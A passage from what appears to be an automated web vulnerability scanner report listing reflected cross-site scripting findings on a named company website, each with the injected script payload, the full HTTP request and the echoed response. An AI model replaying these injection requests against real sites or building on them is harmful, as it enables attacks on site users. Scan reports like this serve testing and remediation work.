Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:39:12 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif3e260\"><script>alert(1)</script>6d48c521d4" />
...[SNIP]...

2.76. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff5b6"><script>alert(1)</script>8277b2e200f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ff5b6\"><script>alert(1)</script>8277b2e200f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/in-logo.gif?ff5b6"><script>alert(1)</script>8277b2e200f=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif?ff5b6\"><script>alert(1)</script>8277b2e200f=1" />
...[SNIP]...

2.77. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81600"><script>alert(1)</script>a1045f287d9 was submitted in the REST URL parameter 1. This input was echoed as 81600\"><script>alert(1)</script>a1045f287d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content81600"><script>alert(1)</script>a1045f287d9/themes/powermta1/images/phone-number.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:36:53 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:36:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content81600\"><script>alert(1)</script>a1045f287d9/themes/powermta1/images/phone-number.gif" />
...[SNIP]...

2.78. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6162"><script>alert(1)</script>e459bfdeccf was submitted in the REST URL parameter 2. This input was echoed as f6162\"><script>alert(1)</script>e459bfdeccf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesf6162"><script>alert(1)</script>e459bfdeccf/powermta1/images/phone-number.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:07 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:07 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesf6162\"><script>alert(1)</script>e459bfdeccf/powermta1/images/phone-number.gif" />
...[SNIP]...

2.79. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16bec"><script>alert(1)</script>49a5a483616 was submitted in the REST URL parameter 3. This input was echoed as 16bec\"><script>alert(1)</script>49a5a483616 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta116bec"><script>alert(1)</script>49a5a483616/images/phone-number.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:29 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:30 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta116bec\"><script>alert(1)</script>49a5a483616/images/phone-number.gif" />
...[SNIP]...

2.80. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6c8"><script>alert(1)</script>64ba8a9e6fa was submitted in the REST URL parameter 4. This input was echoed as 1e6c8\"><script>alert(1)</script>64ba8a9e6fa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images1e6c8"><script>alert(1)</script>64ba8a9e6fa/phone-number.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:34 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images1e6c8\"><script>alert(1)</script>64ba8a9e6fa/phone-number.gif" />
...[SNIP]...

2.81. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e4cb"><script>alert(1)</script>2e92d43359e was submitted in the REST URL parameter 5. This input was echoed as 5e4cb\"><script>alert(1)</script>2e92d43359e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/phone-number.gif5e4cb"><script>alert(1)</script>2e92d43359e HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:35 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:35 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif5e4cb\"><script>alert(1)</script>2e92d43359e" />
...[SNIP]...

2.82. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fdc3"><script>alert(1)</script>8d0bfc23fd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8fdc3\"><script>alert(1)</script>8d0bfc23fd4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/phone-number.gif?8fdc3"><script>alert(1)</script>8d0bfc23fd4=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:36:48 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:36:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif?8fdc3\"><script>alert(1)</script>8d0bfc23fd4=1" />
...[SNIP]...

2.83. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a028"><script>alert(1)</script>3b4c3247182 was submitted in the REST URL parameter 1. This input was echoed as 5a028\"><script>alert(1)</script>3b4c3247182 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content5a028"><script>alert(1)</script>3b4c3247182/themes/powermta1/images/powerMTA-footer-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:14 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:15 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content5a028\"><script>alert(1)</script>3b4c3247182/themes/powermta1/images/powerMTA-footer-logo.png" />
...[SNIP]...

2.84. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b39d"><script>alert(1)</script>9c12b31a716 was submitted in the REST URL parameter 2. This input was echoed as 9b39d\"><script>alert(1)</script>9c12b31a716 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes9b39d"><script>alert(1)</script>9c12b31a716/powermta1/images/powerMTA-footer-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:43 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes9b39d\"><script>alert(1)</script>9c12b31a716/powermta1/images/powerMTA-footer-logo.png" />
...[SNIP]...

2.85. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53ded"><script>alert(1)</script>d4e70ecc70f was submitted in the REST URL parameter 3. This input was echoed as 53ded\"><script>alert(1)</script>d4e70ecc70f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta153ded"><script>alert(1)</script>d4e70ecc70f/images/powerMTA-footer-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta153ded\"><script>alert(1)</script>d4e70ecc70f/images/powerMTA-footer-logo.png" />
...[SNIP]...

2.86. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb663"><script>alert(1)</script>cffd464704f was submitted in the REST URL parameter 4. This input was echoed as eb663\"><script>alert(1)</script>cffd464704f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/imageseb663"><script>alert(1)</script>cffd464704f/powerMTA-footer-logo.png HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:13 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/imageseb663\"><script>alert(1)</script>cffd464704f/powerMTA-footer-logo.png" />
...[SNIP]...

2.87. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27473"><script>alert(1)</script>4663a66e2c0 was submitted in the REST URL parameter 5. This input was echoed as 27473\"><script>alert(1)</script>4663a66e2c0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/powerMTA-footer-logo.png27473"><script>alert(1)</script>4663a66e2c0 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:17 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24881

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png27473\"><script>alert(1)</script>4663a66e2c0" />
...[SNIP]...

2.88. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fce9"><script>alert(1)</script>544beb43723 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9fce9\"><script>alert(1)</script>544beb43723 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/powerMTA-footer-logo.png?9fce9"><script>alert(1)</script>544beb43723=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
